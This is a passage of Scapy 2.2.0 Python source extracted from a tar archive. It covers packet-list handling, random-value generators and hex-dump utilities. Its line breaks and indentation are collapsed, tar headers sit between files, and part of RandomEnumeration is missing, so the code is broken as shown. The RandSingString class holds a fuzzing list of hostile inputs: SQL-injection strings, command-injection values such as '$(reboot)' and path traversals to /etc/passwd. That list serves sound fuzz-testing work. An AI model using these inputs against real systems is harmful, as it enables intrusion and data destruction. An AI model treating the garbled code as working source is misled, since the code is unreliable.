self.__dict__.keys(): if k and k[0] != "_": print "%10s = %r" % (k,getattr(self,k)) def __repr__(self): return "<%s/ %s>" % (self._name," ".join(filter(lambda x:x and x[0]!="_",self.__dict__.keys()))) def _branch(self, br, uniq=0): if uniq and br._name in self: raise DADict_Exception("DADict: [%s] already branched in [%s]" % (br._name, self._name)) self[br._name] = br def _my_find(self, *args, **kargs): if args and self._name not in args: return False for k in kargs: if k not in self or self[k] != kargs[k]: return False return True def _find(self, *args, **kargs): return self._recurs_find((), *args, **kargs) def _recurs_find(self, path, *args, **kargs): if self in path: return None if self._my_find(*args, **kargs): return self for o in self: if isinstance(o, DADict): p = o._recurs_find(path+(self,), *args, **kargs) if p is not None: return p return None def _find_all(self, *args, **kargs): return self._recurs_find_all((), *args, **kargs) def _recurs_find_all(self, path, *args, **kargs): r = [] if self in path: return r if self._my_find(*args, **kargs): r.append(self) for o in self: if isinstance(o, DADict): p = o._recurs_find_all(path+(self,), *args, **kargs) r += p return r def keys(self): return filter(lambda x:x and x[0]!="_", self.__dict__.keys()) scapy-2.2.0/scapy/plist.py0000644000175000017500000004514211430356077013600 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ PacketList: holds several packets and allows to do operations on them. """ import os,subprocess from config import conf from base_classes import BasePacket,BasePacketList from packet import Padding from collections import defaultdict from utils import do_graph,hexdump,make_table,make_lined_table,make_tex_table,get_temp_file import arch if arch.GNUPLOT: Gnuplot=arch.Gnuplot ############# ## Results ## ############# class PacketList(BasePacketList): res = [] def __init__(self, res=None, name="PacketList", stats=None): """create a packet list from a list of packets res: the list of packets stats: a list of classes that will appear in the stats (defaults to [TCP,UDP,ICMP])""" if stats is None: stats = conf.stats_classic_protocols self.stats = stats if res is None: res = [] if isinstance(res, PacketList): res = res.res self.res = res self.listname = name def _elt2pkt(self, elt): return elt def _elt2sum(self, elt): return elt.summary() def _elt2show(self, elt): return self._elt2sum(elt) def __repr__(self): # stats=dict.fromkeys(self.stats,0) ## needs python >= 2.3 :( stats = dict(map(lambda x: (x,0), self.stats)) other = 0 for r in self.res: f = 0 for p in stats: if self._elt2pkt(r).haslayer(p): stats[p] += 1 f = 1 break if not f: other += 1 s = "" ct = conf.color_theme for p in self.stats: s += " %s%s%s" % (ct.packetlist_proto(p.name), ct.punct(":"), ct.packetlist_value(stats[p])) s += " %s%s%s" % (ct.packetlist_proto("Other"), ct.punct(":"), ct.packetlist_value(other)) return "%s%s%s%s%s" % (ct.punct("<"), ct.packetlist_name(self.listname), ct.punct(":"), s, ct.punct(">")) def __getattr__(self, attr): return getattr(self.res, attr) def __getitem__(self, item): if isinstance(item,type) and issubclass(item,BasePacket): return self.__class__(filter(lambda x: item in self._elt2pkt(x),self.res), name="%s from %s"%(item.__name__,self.listname)) if type(item) is slice: return self.__class__(self.res.__getitem__(item), name = "mod %s" % self.listname) return self.res.__getitem__(item) def __getslice__(self, *args, **kargs): return self.__class__(self.res.__getslice__(*args, **kargs), name="mod %s"%self.listname) def __add__(self, other): return self.__class__(self.res+other.res, name="%s+%s"%(self.listname,other.listname)) def summary(self, prn=None, lfilter=None): """prints a summary of each packet prn: function to apply to each packet instead of lambda x:x.summary() lfilter: truth function to apply to each packet to decide whether it will be displayed""" for r in self.res: if lfilter is not None: if not lfilter(r): continue if prn is None: print self._elt2sum(r) else: print prn(r) def nsummary(self,prn=None, lfilter=None): """prints a summary of each packet with the packet's number prn: function to apply to each packet instead of lambda x:x.summary() lfilter: truth function to apply to each packet to decide whether it will be displayed""" for i in range(len(self.res)): if lfilter is not None: if not lfilter(self.res[i]): continue print conf.color_theme.id(i,fmt="%04i"), if prn is None: print self._elt2sum(self.res[i]) else: print prn(self.res[i]) def display(self): # Deprecated. Use show() """deprecated. is show()""" self.show() def show(self, *args, **kargs): """Best way to display the packet list. Defaults to nsummary() method""" return self.nsummary(*args, **kargs) def filter(self, func): """Returns a packet list filtered by a truth function""" return self.__class__(filter(func,self.res), name="filtered %s"%self.listname) def make_table(self, *args, **kargs): """Prints a table using a function that returs for each packet its head column value, head row value and displayed value ex: p.make_table(lambda x:(x[IP].dst, x[TCP].dport, x[TCP].sprintf("%flags%")) """ return make_table(self.res, *args, **kargs) def make_lined_table(self, *args, **kargs): """Same as make_table, but print a table with lines""" return make_lined_table(self.res, *args, **kargs) def make_tex_table(self, *args, **kargs): """Same as make_table, but print a table with LaTeX syntax""" return make_tex_table(self.res, *args, **kargs) def plot(self, f, lfilter=None,**kargs): """Applies a function to each packet to get a value that will be plotted with GnuPlot. A gnuplot object is returned lfilter: a truth function that decides whether a packet must be ploted""" g=Gnuplot.Gnuplot() l = self.res if lfilter is not None: l = filter(lfilter, l) l = map(f,l) g.plot(Gnuplot.Data(l, **kargs)) return g def diffplot(self, f, delay=1, lfilter=None, **kargs): """diffplot(f, delay=1, lfilter=None) Applies a function to couples (l[i],l[i+delay])""" g = Gnuplot.Gnuplot() l = self.res if lfilter is not None: l = filter(lfilter, l) l = map(f,l[:-delay],l[delay:]) g.plot(Gnuplot.Data(l, **kargs)) return g def multiplot(self, f, lfilter=None, **kargs): """Uses a function that returns a label and a value for this label, then plots all the values label by label""" g=Gnuplot.Gnuplot() l = self.res if lfilter is not None: l = filter(lfilter, l) d={} for e in l: k,v = f(e) if k in d: d[k].append(v) else: d[k] = [v] data=[] for k in d: data.append(Gnuplot.Data(d[k], title=k, **kargs)) g.plot(*data) return g def rawhexdump(self): """Prints an hexadecimal dump of each packet in the list""" for p in self: hexdump(self._elt2pkt(p)) def hexraw(self, lfilter=None): """Same as nsummary(), except that if a packet has a Raw layer, it will be hexdumped lfilter: a truth function that decides whether a packet must be displayed""" for i in range(len(self.res)): p = self._elt2pkt(self.res[i]) if lfilter is not None and not lfilter(p): continue print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(self.res[i])) if p.haslayer(conf.raw_layer): hexdump(p.getlayer(conf.raw_layer).load) def hexdump(self, lfilter=None): """Same as nsummary(), except that packets are also hexdumped lfilter: a truth function that decides whether a packet must be displayed""" for i in range(len(self.res)): p = self._elt2pkt(self.res[i]) if lfilter is not None and not lfilter(p): continue print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(self.res[i])) hexdump(p) def padding(self, lfilter=None): """Same as hexraw(), for Padding layer""" for i in range(len(self.res)): p = self._elt2pkt(self.res[i]) if p.haslayer(Padding): if lfilter is None or lfilter(p): print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(self.res[i])) hexdump(p.getlayer(Padding).load) def nzpadding(self, lfilter=None): """Same as padding() but only non null padding""" for i in range(len(self.res)): p = self._elt2pkt(self.res[i]) if p.haslayer(Padding): pad = p.getlayer(Padding).load if pad == pad[0]*len(pad): continue if lfilter is None or lfilter(p): print "%s %s %s" % (conf.color_theme.id(i,fmt="%04i"), p.sprintf("%.time%"), self._elt2sum(self.res[i])) hexdump(p.getlayer(Padding).load) def conversations(self, getsrcdst=None,**kargs): """Graphes a conversations between sources and destinations and display it (using graphviz and imagemagick) getsrcdst: a function that takes an element of the list and return the source and dest by defaults, return source and destination IP type: output type (svg, ps, gif, jpg, etc.), passed to dot's "-T" option target: filename or redirect. Defaults pipe to Imagemagick's display program prog: which graphviz program to use""" if getsrcdst is None: getsrcdst = lambda x:(x['IP'].src, x['IP'].dst) conv = {} for p in self.res: p = self._elt2pkt(p) try: c = getsrcdst(p) except: #XXX warning() continue conv[c] = conv.get(c,0)+1 gr = 'digraph "conv" {\n' for s,d in conv: gr += '\t "%s" -> "%s"\n' % (s,d) gr += "}\n" return do_graph(gr, **kargs) def afterglow(self, src=None, event=None, dst=None, **kargs): """Experimental clone attempt of http://sourceforge.net/projects/afterglow each datum is reduced as src -> event -> dst and the data are graphed. by default we have IP.src -> IP.dport -> IP.dst""" if src is None: src = lambda x: x['IP'].src if event is None: event = lambda x: x['IP'].dport if dst is None: dst = lambda x: x['IP'].dst sl = {} el = {} dl = {} for i in self.res: try: s,e,d = src(i),event(i),dst(i) if s in sl: n,l = sl[s] n += 1 if e not in l: l.append(e) sl[s] = (n,l) else: sl[s] = (1,[e]) if e in el: n,l = el[e] n+=1 if d not in l: l.append(d) el[e] = (n,l) else: el[e] = (1,[d]) dl[d] = dl.get(d,0)+1 except: continue import math def normalize(n): return 2+math.log(n)/4.0 def minmax(x): m,M = min(x),max(x) if m == M: m = 0 if M == 0: M = 1 return m,M mins,maxs = minmax(map(lambda (x,y): x, sl.values())) mine,maxe = minmax(map(lambda (x,y): x, el.values())) mind,maxd = minmax(dl.values()) gr = 'digraph "afterglow" {\n\tedge [len=2.5];\n' gr += "# src nodes\n" for s in sl: n,l = sl[s]; n = 1+float(n-mins)/(maxs-mins) gr += '"src.%s" [label = "%s", shape=box, fillcolor="#FF0000", style=filled, fixedsize=1, height=%.2f,width=%.2f];\n' % (`s`,`s`,n,n) gr += "# event nodes\n" for e in el: n,l = el[e]; n = n = 1+float(n-mine)/(maxe-mine) gr += '"evt.%s" [label = "%s", shape=circle, fillcolor="#00FFFF", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (`e`,`e`,n,n) for d in dl: n = dl[d]; n = n = 1+float(n-mind)/(maxd-mind) gr += '"dst.%s" [label = "%s", shape=triangle, fillcolor="#0000ff", style=filled, fixedsize=1, height=%.2f, width=%.2f];\n' % (`d`,`d`,n,n) gr += "###\n" for s in sl: n,l = sl[s] for e in l: gr += ' "src.%s" -> "evt.%s";\n' % (`s`,`e`) for e in el: n,l = el[e] for d in l: gr += ' "evt.%s" -> "dst.%s";\n' % (`e`,`d`) gr += "}" return do_graph(gr, **kargs) def _dump_document(self, **kargs): import pyx d = pyx.document.document() l = len(self.res) for i in range(len(self.res)): elt = self.res[i] c = self._elt2pkt(elt).canvas_dump(**kargs) cbb = c.bbox() c.text(cbb.left(),cbb.top()+1,r"\font\cmssfont=cmss12\cmssfont{Frame %i/%i}" % (i,l),[pyx.text.size.LARGE]) if conf.verb >= 2: os.write(1,".") d.append(pyx.document.page(c, paperformat=pyx.document.paperformat.A4, margin=1*pyx.unit.t_cm, fittosize=1)) return d def psdump(self, filename = None, **kargs): """Creates a multipage poscript file with a psdump of every packet filename: name of the file to write to. If empty, a temporary file is used and conf.prog.psreader is called""" d = self._dump_document(**kargs) if filename is None: filename = get_temp_file(autoext=".ps") d.writePSfile(filename) subprocess.Popen([conf.prog.psreader, filename+".ps"]) else: d.writePSfile(filename) print def pdfdump(self, filename = None, **kargs): """Creates a PDF file with a psdump of every packet filename: name of the file to write to. If empty, a temporary file is used and conf.prog.pdfreader is called""" d = self._dump_document(**kargs) if filename is None: filename = get_temp_file(autoext=".pdf") d.writePDFfile(filename) subprocess.Popen([conf.prog.pdfreader, filename+".pdf"]) else: d.writePDFfile(filename) print def sr(self,multi=0): """sr([multi=1]) -> (SndRcvList, PacketList) Matches packets in the list and return ( (matched couples), (unmatched packets) )""" remain = self.res[:] sr = [] i = 0 while i < len(remain): s = remain[i] j = i while j < len(remain)-1: j += 1 r = remain[j] if r.answers(s): sr.append((s,r)) if multi: remain[i]._answered=1 remain[j]._answered=2 continue del(remain[j]) del(remain[i]) i -= 1 break i += 1 if multi: remain = filter(lambda x:not hasattr(x,"_answered"), remain) return SndRcvList(sr),PacketList(remain) def sessions(self, session_extractor=None): if session_extractor is None: def session_extractor(p): sess = "Other" if 'Ether' in p: if 'IP' in p: if 'TCP' in p: sess = p.sprintf("TCP %IP.src%:%r,TCP.sport% > %IP.dst%:%r,TCP.dport%") elif 'UDP' in p: sess = p.sprintf("UDP %IP.src%:%r,UDP.sport% > %IP.dst%:%r,UDP.dport%") elif 'ICMP' in p: sess = p.sprintf("ICMP %IP.src% > %IP.dst% type=%r,ICMP.type% code=%r,ICMP.code% id=%ICMP.id%") else: sess = p.sprintf("IP %IP.src% > %IP.dst% proto=%IP.proto%") elif 'ARP' in p: sess = p.sprintf("ARP %ARP.psrc% > %ARP.pdst%") else: sess = p.sprintf("Ethernet type=%04xr,Ether.type%") return sess sessions = defaultdict(self.__class__) for p in self.res: sess = session_extractor(self._elt2pkt(p)) sessions[sess].append(p) return dict(sessions) def replace(self, *args, **kargs): """ lst.replace(,[,]) lst.replace( (fld,[ov],nv),(fld,[ov,]nv),...) if ov is None, all values are replaced ex: lst.replace( IP.src, "192.168.1.1", "10.0.0.1" ) lst.replace( IP.ttl, 64 ) lst.replace( (IP.ttl, 64), (TCP.sport, 666, 777), ) """ delete_checksums = kargs.get("delete_checksums",False) x=PacketList(name="Replaced %s" % self.listname) if type(args[0]) is not tuple: args = (args,) for p in self.res: p = self._elt2pkt(p) copied = False for scheme in args: fld = scheme[0] old = scheme[1] # not used if len(scheme) == 2 new = scheme[-1] for o in fld.owners: if o in p: if len(scheme) == 2 or p[o].getfieldval(fld.name) == old: if not copied: p = p.copy() if delete_checksums: p.delete_checksums() copied = True setattr(p[o], fld.name, new) x.append(p) return x class SndRcvList(PacketList): def __init__(self, res=None, name="Results", stats=None): PacketList.__init__(self, res, name, stats) def _elt2pkt(self, elt): return elt[1] def _elt2sum(self, elt): return "%s ==> %s" % (elt[0].summary(),elt[1].summary()) scapy-2.2.0/scapy/volatile.py0000644000175000017500000005025211430356100014245 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Fields that hold random numbers. """ import random,time,math from base_classes import Net from utils import corrupt_bits,corrupt_bytes #################### ## Random numbers ## #################### class RandomEnumeration: """iterate through a sequence in random order. When all the values have been drawn, if forever=1, the drawing is done again. If renewkeys=0, the draw will be in the same order, guaranteeing that the same number will be drawn in not less than the number of integers of the sequence""" def __init__(self, inf, sup, seed=None, forever=1, renewkeys=0): self.forever = forever self.renewkeys = renewkeys self.inf = inf self.rnd = random.Random(seed) self.sbox_size = 256 self.top = sup-inf+1 n=0 while (1<>= self.fs lsb ^= self.sbox[ct%self.sbox_size] ct |= lsb << (self.n-self.fs) if ct < self.top: return self.inf+ct self.i = 0 if not self.forever: raise StopIteration class VolatileValue: def __repr__(self): return "<%s>" % self.__class__.__name__ def __getattr__(self, attr): if attr == "__setstate__": raise AttributeError(attr) elif attr == "__cmp__": x = self._fix() def cmp2(y,x=x): if type(x) != type(y): return -1 return x.__cmp__(y) return cmp2 return getattr(self._fix(),attr) def _fix(self): return None class RandField(VolatileValue): pass class RandNum(RandField): """Instances evaluate to random integers in selected range""" min = 0 max = 0 def __init__(self, min, max): self.min = min self.max = max def _fix(self): return random.randrange(self.min, self.max+1) class RandNumGamma(RandField): def __init__(self, alpha, beta): self.alpha = alpha self.beta = beta def _fix(self): return int(round(random.gammavariate(self.alpha, self.beta))) class RandNumGauss(RandField): def __init__(self, mu, sigma): self.mu = mu self.sigma = sigma def _fix(self): return int(round(random.gauss(self.mu, self.sigma))) class RandNumExpo(RandField): def __init__(self, lambd, base=0): self.lambd = lambd self.base = base def _fix(self): return self.base+int(round(random.expovariate(self.lambd))) class RandEnum(RandNum): """Instances evaluate to integer sampling without replacement from the given interval""" def __init__(self, min, max): self.seq = RandomEnumeration(min,max) def _fix(self): return self.seq.next() class RandByte(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**8-1) class RandSByte(RandNum): def __init__(self): RandNum.__init__(self, -2L**7, 2L**7-1) class RandShort(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**16-1) class RandSShort(RandNum): def __init__(self): RandNum.__init__(self, -2L**15, 2L**15-1) class RandInt(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**32-1) class RandSInt(RandNum): def __init__(self): RandNum.__init__(self, -2L**31, 2L**31-1) class RandLong(RandNum): def __init__(self): RandNum.__init__(self, 0, 2L**64-1) class RandSLong(RandNum): def __init__(self): RandNum.__init__(self, -2L**63, 2L**63-1) class RandEnumByte(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**8-1) class RandEnumSByte(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**7, 2L**7-1) class RandEnumShort(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**16-1) class RandEnumSShort(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**15, 2L**15-1) class RandEnumInt(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**32-1) class RandEnumSInt(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**31, 2L**31-1) class RandEnumLong(RandEnum): def __init__(self): RandEnum.__init__(self, 0, 2L**64-1) class RandEnumSLong(RandEnum): def __init__(self): RandEnum.__init__(self, -2L**63, 2L**63-1) class RandChoice(RandField): def __init__(self, *args): if not args: raise TypeError("RandChoice needs at least one choice") self._choice = args def _fix(self): return random.choice(self._choice) class RandString(RandField): def __init__(self, size=None, chars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"): if size is None: size = RandNumExpo(0.01) self.size = size self.chars = chars def _fix(self): s = "" for i in range(self.size): s += random.choice(self.chars) return s class RandBin(RandString): def __init__(self, size=None): RandString.__init__(self, size, "".join(map(chr,range(256)))) class RandTermString(RandString): def __init__(self, size, term): RandString.__init__(self, size, "".join(map(chr,range(1,256)))) self.term = term def _fix(self): return RandString._fix(self)+self.term class RandIP(RandString): def __init__(self, iptemplate="0.0.0.0/0"): self.ip = Net(iptemplate) def _fix(self): return self.ip.choice() class RandMAC(RandString): def __init__(self, template="*"): template += ":*:*:*:*:*" template = template.split(":") self.mac = () for i in range(6): if template[i] == "*": v = RandByte() elif "-" in template[i]: x,y = template[i].split("-") v = RandNum(int(x,16), int(y,16)) else: v = int(template[i],16) self.mac += (v,) def _fix(self): return "%02x:%02x:%02x:%02x:%02x:%02x" % self.mac class RandIP6(RandString): def __init__(self, ip6template="**"): self.tmpl = ip6template self.sp = self.tmpl.split(":") for i,v in enumerate(self.sp): if not v or v == "**": continue if "-" in v: a,b = v.split("-") elif v == "*": a=b="" else: a=b=v if not a: a = "0" if not b: b = "ffff" if a==b: self.sp[i] = int(a,16) else: self.sp[i] = RandNum(int(a,16), int(b,16)) self.variable = "" in self.sp self.multi = self.sp.count("**") def _fix(self): done = 0 nbm = self.multi ip = [] for i,n in enumerate(self.sp): if n == "**": nbm -= 1 remain = 8-(len(self.sp)-i-1)-len(ip)+nbm if "" in self.sp: remain += 1 if nbm or self.variable: remain = random.randint(0,remain) for j in range(remain): ip.append("%04x" % random.randint(0,65535)) elif not n: ip.append("") else: ip.append("%04x" % n) if len(ip) == 9: ip.remove("") return ":".join(ip) class RandOID(RandString): def __init__(self, fmt=None, depth=RandNumExpo(0.1), idnum=RandNumExpo(0.01)): self.ori_fmt = fmt if fmt is not None: fmt = fmt.split(".") for i in range(len(fmt)): if "-" in fmt[i]: fmt[i] = tuple(map(int, fmt[i].split("-"))) self.fmt = fmt self.depth = depth self.idnum = idnum def __repr__(self): if self.ori_fmt is None: return "<%s>" % self.__class__.__name__ else: return "<%s [%s]>" % (self.__class__.__name__, self.ori_fmt) def _fix(self): if self.fmt is None: return ".".join(map(str, [self.idnum for i in xrange(1+self.depth)])) else: oid = [] for i in self.fmt: if i == "*": oid.append(str(self.idnum)) elif i == "**": oid += map(str, [self.idnum for i in xrange(1+self.depth)]) elif type(i) is tuple: oid.append(str(random.randrange(*i))) else: oid.append(i) return ".".join(oid) class RandRegExp(RandField): def __init__(self, regexp, lambda_=0.3,): self._regexp = regexp self._lambda = lambda_ @staticmethod def choice_expand(s): #XXX does not support special sets like (ex ':alnum:') m = "" invert = s and s[0] == "^" while True: p = s.find("-") if p < 0: break if p == 0 or p == len(s)-1: m = "-" if p: s = s[:-1] else: s = s[1:] else: c1 = s[p-1] c2 = s[p+1] rng = "".join(map(chr, range(ord(c1),ord(c2)+1))) s = s[:p-1]+rng+s[p+1:] res = m+s if invert: res = "".join([chr(x) for x in xrange(256) if chr(x) not in res]) return res @staticmethod def stack_fix(lst, index): r = "" mul = 1 for e in lst: if type(e) is list: if mul != 1: mul = mul-1 r += RandRegExp.stack_fix(e[1:]*mul, index) # only the last iteration should be kept for back reference f = RandRegExp.stack_fix(e[1:], index) for i,idx in enumerate(index): if e is idx: index[i] = f r += f mul = 1 elif type(e) is tuple: kind,val = e if kind == "cite": r += index[val-1] elif kind == "repeat": mul = val elif kind == "choice": if mul == 1: c = random.choice(val) r += RandRegExp.stack_fix(c[1:], index) else: r += RandRegExp.stack_fix([e]*mul, index) mul = 1 else: if mul != 1: r += RandRegExp.stack_fix([e]*mul, index) mul = 1 else: r += str(e) return r def _fix(self): stack = [None] index = [] current = stack i = 0 ln = len(self._regexp) interp = True while i < ln: c = self._regexp[i] i+=1 if c == '(': current = [current] current[0].append(current) elif c == '|': p = current[0] ch = p[-1] if type(ch) is not tuple: ch = ("choice",[current]) p[-1] = ch else: ch[1].append(current) current = [p] elif c == ')': ch = current[0][-1] if type(ch) is tuple: ch[1].append(current) index.append(current) current = current[0] elif c == '[' or c == '{': current = [current] current[0].append(current) interp = False elif c == ']': current = current[0] choice = RandRegExp.choice_expand("".join(current.pop()[1:])) current.append(RandChoice(*list(choice))) interp = True elif c == '}': current = current[0] num = "".join(current.pop()[1:]) e = current.pop() if "," not in num: n = int(num) current.append([current]+[e]*n) else: num_min,num_max = num.split(",") if not num_min: num_min = "0" if num_max: n = RandNum(int(num_min),int(num_max)) else: n = RandNumExpo(self._lambda,base=int(num_min)) current.append(("repeat",n)) current.append(e) interp = True elif c == '\\': c = self._regexp[i] if c == "s": c = RandChoice(" ","\t") elif c in "0123456789": c = ("cite",ord(c)-0x30) current.append(c) i += 1 elif not interp: current.append(c) elif c == '+': e = current.pop() current.append([current]+[e]*(int(random.expovariate(self._lambda))+1)) elif c == '*': e = current.pop() current.append([current]+[e]*int(random.expovariate(self._lambda))) elif c == '?': if random.randint(0,1): current.pop() elif c == '.': current.append(RandChoice(*[chr(x) for x in xrange(256)])) elif c == '$' or c == '^': pass else: current.append(c) return RandRegExp.stack_fix(stack[1:], index) def __repr__(self): return "<%s [%r]>" % (self.__class__.__name__, self._regexp) class RandSingularity(RandChoice): pass class RandSingNum(RandSingularity): @staticmethod def make_power_of_two(end): sign = 1 if end == 0: end = 1 if end < 0: end = -end sign = -1 end_n = int(math.log(end)/math.log(2))+1 return set([sign*2**i for i in range(end_n)]) def __init__(self, mn, mx): sing = set([0, mn, mx, int((mn+mx)/2)]) sing |= self.make_power_of_two(mn) sing |= self.make_power_of_two(mx) for i in sing.copy(): sing.add(i+1) sing.add(i-1) for i in sing.copy(): if not mn <= i <= mx: sing.remove(i) self._choice = list(sing) class RandSingByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**8-1) class RandSingSByte(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**7, 2L**7-1) class RandSingShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**16-1) class RandSingSShort(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**15, 2L**15-1) class RandSingInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**32-1) class RandSingSInt(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**31, 2L**31-1) class RandSingLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, 0, 2L**64-1) class RandSingSLong(RandSingNum): def __init__(self): RandSingNum.__init__(self, -2L**63, 2L**63-1) class RandSingString(RandSingularity): def __init__(self): self._choice = [ "", "%x", "%%", "%s", "%i", "%n", "%x%x%x%x%x%x%x%x%x", "%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s", "%", "%%%", "A"*4096, "\x00"*4096, "\xff"*4096, "\x7f"*4096, "\x80"*4096, " "*4096, "\\"*4096, "("*4096, "../"*1024, "/"*1024, "${HOME}"*512, " or 1=1 --", "' or 1=1 --", '" or 1=1 --', " or 1=1; #", "' or 1=1; #", '" or 1=1; #', ";reboot;", "$(reboot)", "`reboot`", "index.php%00", "\x00", "%00", "\\", "../../../../../../../../../../../../../../../../../etc/passwd", "%2e%2e%2f" * 20 + "etc/passwd", "%252e%252e%252f" * 20 + "boot.ini", "..%c0%af" * 20 + "etc/passwd", "..%c0%af" * 20 + "boot.ini", "//etc/passwd", r"..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini", "AUX:", "CLOCK$", "COM:", "CON:", "LPT:", "LST:", "NUL:", "CON:", r"C:\CON\CON", r"C:\boot.ini", r"\\myserver\share", "foo.exe:", "foo.exe\\", ] class RandPool(RandField): def __init__(self, *args): """Each parameter is a volatile object or a couple (volatile object, weight)""" pool = [] for p in args: w = 1 if type(p) is tuple: p,w = p pool += [p]*w self._pool = pool def _fix(self): r = random.choice(self._pool) return r._fix() # Automatic timestamp class AutoTime(VolatileValue): def __init__(self, base=None): if base == None: self.diff = 0 else: self.diff = time.time()-base def _fix(self): return time.time()-self.diff class IntAutoTime(AutoTime): def _fix(self): return int(time.time()-self.diff) class ZuluTime(AutoTime): def __init__(self, diff=None): self.diff=diff def _fix(self): return time.strftime("%y%m%d%H%M%SZ",time.gmtime(time.time()+self.diff)) class DelayedEval(VolatileValue): """ Exemple of usage: DelayedEval("time.time()") """ def __init__(self, expr): self.expr = expr def _fix(self): return eval(self.expr) class IncrementalValue(VolatileValue): def __init__(self, start=0, step=1, restart=-1): self.start = self.val = start self.step = step self.restart = restart def _fix(self): v = self.val if self.val == self.restart : self.val = self.start else: self.val += self.step return v class CorruptedBytes(VolatileValue): def __init__(self, s, p=0.01, n=None): self.s = s self.p = p self.n = n def _fix(self): return corrupt_bytes(self.s, self.p, self.n) class CorruptedBits(CorruptedBytes): def _fix(self): return corrupt_bits(self.s, self.p, self.n) scapy-2.2.0/scapy/utils.py0000644000175000017500000005351611430356100013574 0ustar pbipbi## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ General utility functions. """ import os,sys,socket,types import random,time import gzip,zlib,cPickle import re,struct,array import subprocess import warnings warnings.filterwarnings("ignore","tempnam",RuntimeWarning, __name__) from config import conf from data import MTU from error import log_runtime,log_loading,log_interactive from base_classes import BasePacketList WINDOWS=sys.platform.startswith("win32") ########### ## Tools ## ########### def get_temp_file(keep=False, autoext=""): f = os.tempnam("","scapy") if not keep: conf.temp_files.append(f+autoext) return f def sane_color(x): r="" for i in x: j = ord(i) if (j < 32) or (j >= 127): r=r+conf.color_theme.not_printable(".") else: r=r+i return r def sane(x): r="" for i in x: j = ord(i) if (j < 32) or (j >= 127): r=r+"." else: r=r+i return r def lhex(x): if type(x) in (int,long): return hex(x) elif type(x) is tuple: return "(%s)" % ", ".join(map(lhex, x)) elif type(x) is list: return "[%s]" % ", ".join(map(lhex, x)) else: return x @conf.commands.register def hexdump(x): x=str(x) l = len(x) i = 0 while i < l: print "%04x " % i, for j in range(16): if i+j < l: print "%02X" % ord(x[i+j]), else: print " ", if j%16 == 7: print "", print " ", print sane_color(x[i:i+16]) i += 16 @conf.commands.register def linehexdump(x, onlyasc=0, onlyhex=0): x = str(x) l = len(x) if not onlyasc: for i in range(l): print "%02X" % ord(x[i]), print "", if not onlyhex: print sane_color(x) def chexdump(x): x=str(x) print ", ".join(map(lambda x: "%#04x"%ord(x), x)) def hexstr(x, onlyasc=0, onlyhex=0): s = [] if not onlyasc: s.append(" ".join(map(lambda x:"%02x"%ord(x), x))) if not onlyhex: s.append(sane(x)) return " ".join(s) @conf.commands.register def hexdiff(x,y): """Show differences between 2 binary strings""" x=str(x)[::-1] y=str(y)[::-1] SUBST=1 INSERT=1 d={} d[-1,-1] = 0,(-1,-1) for j in range(len(y)): d[-1,j] = d[-1,j-1][0]+INSERT, (-1,j-1) for i in range(len(x)): d[i,-1] = d[i-1,-1][0]+INSERT, (i-1,-1) for j in range(len(y)): for i in range(len(x)): d[i,j] = min( ( d[i-1,j-1][0]+SUBST*(x[i] != y[j]), (i-1,j-1) ), ( d[i-1,j][0]+INSERT, (i-1,j) ), ( d[i,j-1][0]+INSERT, (i,j-1) ) ) backtrackx = [] backtracky = [] i=len(x)-1 j=len(y)-1 while not (i == j == -1): i2,j2 = d[i,j][1] backtrackx.append(x[i2+1:i+1]) backtracky.append(y[j2+1:j+1]) i,j = i2,j2 x = y = i = 0 colorize = { 0: lambda x:x, -1: conf.color_theme.left, 1: conf.color_theme.right } dox=1 doy=0 l = len(backtrackx) while i < l: separate=0 linex = backtrackx[i:i+16] liney = backtracky[i:i+16] xx = sum(len(k) for k in linex) yy = sum(len(k) for k in liney) if dox and not xx: dox = 0 doy = 1 if dox and linex == liney: doy=1 if dox: xd = y j = 0 while not linex[j]: j += 1 xd -= 1 print colorize[doy-dox]("%04x" % xd), x += xx line=linex else: print " ", if doy: yd = y j = 0 while not liney[j]: j += 1 yd -= 1 print colorize[doy-dox]("%04x" % yd), y += yy line=liney else: print " ", print " ", cl = "" for j in range(16): if i+j < l: if line[j]: col = colorize[(linex[j]!=liney[j])*(doy-dox)] print col("%02X" % ord(line[j])), if linex[j]==liney[j]: cl += sane_color(line[j]) else: cl += col(sane(line[j])) else: print " ", cl += " " else: print " ", if j == 7: print "", print " ",cl if doy or not yy: doy=0 dox=1 i += 16 else: if yy: dox=0 doy=1 else: i += 16 crc32 = zlib.crc32 if struct.pack("H",1) == "\x00\x01": # big endian def checksum(pkt): if len(pkt) % 2 == 1: pkt += "\0" s = sum(array.array("H", pkt)) s = (s >> 16) + (s & 0xffff) s += s >> 16 s = ~s return s & 0xffff else: def checksum(pkt): if len(pkt) % 2 == 1: pkt += "\0" s = sum(array.array("H", 